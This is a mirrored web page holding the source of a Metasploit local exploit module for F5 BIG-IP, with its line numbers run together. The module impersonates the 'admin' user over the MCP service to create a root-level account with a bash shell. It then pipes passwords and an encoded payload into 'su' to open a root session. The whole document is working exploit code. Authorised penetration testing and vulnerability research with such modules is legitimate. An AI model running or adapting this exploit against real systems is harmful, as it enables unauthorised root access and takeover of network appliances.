Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/local/f5_create_user.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'unix_crypt'67class MetasploitModule < Msf::Exploit::Local8include Msf::Post::Linux::F5Mcp9include Msf::Exploit::CmdStager1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'F5 Big-IP Create Admin User',16'Description' => %q{17This creates a local user with a username/password and root-level18privileges. Note that a root-level account is not required to do this,19which makes it a privilege escalation issue.2021Note that this is pretty noisy, since it creates a user account and22creates log files and such. Additionally, most (if not all)23vulnerabilities in F5 grant root access anyways.2425Adapted from https://github.com/rbowes-r7/refreshing-mcp-tool/blob/main/mcp-privesc.rb26},27'License' => MSF_LICENSE,28'Author' => ['Ron Bowes'],29'Platform' => [ 'unix', 'linux', 'python' ],30'SessionTypes' => ['shell', 'meterpreter'],31'References' => [32['URL', 'https://github.com/rbowes-r7/refreshing-mcp-tool'], # Original PoC33['URL', 'https://www.rapid7.com/blog/post/2022/11/16/cve-2022-41622-and-cve-2022-41800-fixed-f5-big-ip-and-icontrol-rest-vulnerabilities-and-exposures/'],34['URL', 'https://support.f5.com/csp/article/K97843387'],35],36'Privileged' => true,37'DisclosureDate' => '2022-11-16',38'Arch' => [ ARCH_CMD, ARCH_PYTHON ],39'Type' => :unix_cmd,40'Targets' => [[ 'Auto', {} ]],41'Notes' => {42'Stability' => [],43'Reliability' => [],44'SideEffects' => []45}46)47)4849register_options([50OptString.new('USERNAME', [true, 'Username to create (default: random)', Rex::Text.rand_text_alphanumeric(8)]),51OptString.new('PASSWORD', [true, 'Password for the new user (default: random)', Rex::Text.rand_text_alphanumeric(12)]),5253OptBool.new('CREATE_SESSION', [true, 'If set, use the new account to create a root session', true]),54])55end5657def exploit58# Get or generate the username/password59fail_with(Failure::BadConfig, 'USERNAME cannot be empty') if datastore['USERNAME'].empty?60username = datastore['USERNAME']6162if datastore['CREATE_SESSION']63password = Rex::Text.rand_text_alphanumeric(12)64new_password = datastore['PASSWORD'] || Rex::Text.rand_text_alphanumeric(12)6566print_status("Will attempt to create user #{username} / #{password}, then change password to #{new_password} when creating a session")67else68password = datastore['PASSWORD'] || Rex::Text.rand_text_alphanumeric(12)6970print_status("Will attempt to create user #{username} / #{password}")71end7273# If the password is already hashed, leave it as-is74vprint_status('Hashing the password with SHA512')75hashed_password = UnixCrypt::SHA512.build(password)7677if !hashed_password || hashed_password.empty?78fail_with(Failure::BadConfig, 'Failed to hash the password with String.crypt')79end8081# These requests have to go in a single 'session', which, to us, is82# a single packet (since we don't have AF_UNIX sockets)83result = mcp_send_recv([84# Authenticate as 'admin' (this probably shouldn't work but does)85mcp_build('user_authenticated', 'structure', [86mcp_build('user_authenticated_name', 'string', 'admin')87]),8889# Start transaction90mcp_build('start_transaction', 'structure', [91mcp_build('start_transaction_load_type', 'ulong', 0)92]),9394# Create the role mapping95mcp_build('create', 'structure', [96mcp_build('user_role_partition', 'structure', [97mcp_build('user_role_partition_user', 'string', username),98mcp_build('user_role_partition_role', 'ulong', 0),99mcp_build('user_role_partition_partition', 'string', '[All]'),100])101]),102103# Create the userdb entry104mcp_build('create', 'structure', [105mcp_build('userdb_entry', 'structure', [106mcp_build('userdb_entry_name', 'string', username),107mcp_build('userdb_entry_partition_id', 'string', 'Common'),108mcp_build('userdb_entry_is_system', 'ulong', 0),109mcp_build('userdb_entry_shell', 'string', '/bin/bash'),110mcp_build('userdb_entry_is_crypted', 'ulong', 1),111mcp_build('userdb_entry_passwd', 'string', hashed_password),112])113]),114115# Finish the transaction116mcp_build('end_transaction', 'structure', [])117])118119# Handle errors120if result.nil?121fail_with(Failure::Unknown, 'Request to mcp appeared to fail')122end123124# The only result we really care about is an error125error_returned = false126result.each do |r|127result = mcp_get_single(r, 'result')128result_code = mcp_get_single(result, 'result_code')129130# If there's no code or it's zero, just ignore it131if result_code.nil? || result_code == 0132next133end134135# If we're here, an error was returned!136error_returned = true137138# Otherwise, try and get result_message139result_message = mcp_get_single(result, 'result_message')140if result_message.nil?141print_warning("mcp query returned a non-zero result (#{result_code}), but no error message")142else143print_error("mcp query returned an error message: #{result_message} (code: #{result_code})")144end145end146147# Let them know if it likely worked148if !error_returned149print_good("Service didn't return an error, so user was likely created!")150151if datastore['CREATE_SESSION']152print_status('Attempting create a root session...')153154out = cmd_exec("echo -ne \"#{password}\\n#{password}\\n#{new_password}\\n#{new_password}\\n#{payload.encoded}\\n\" | su #{username}")155156vprint_status("Output from su command: #{out}")157end158end159end160end161162163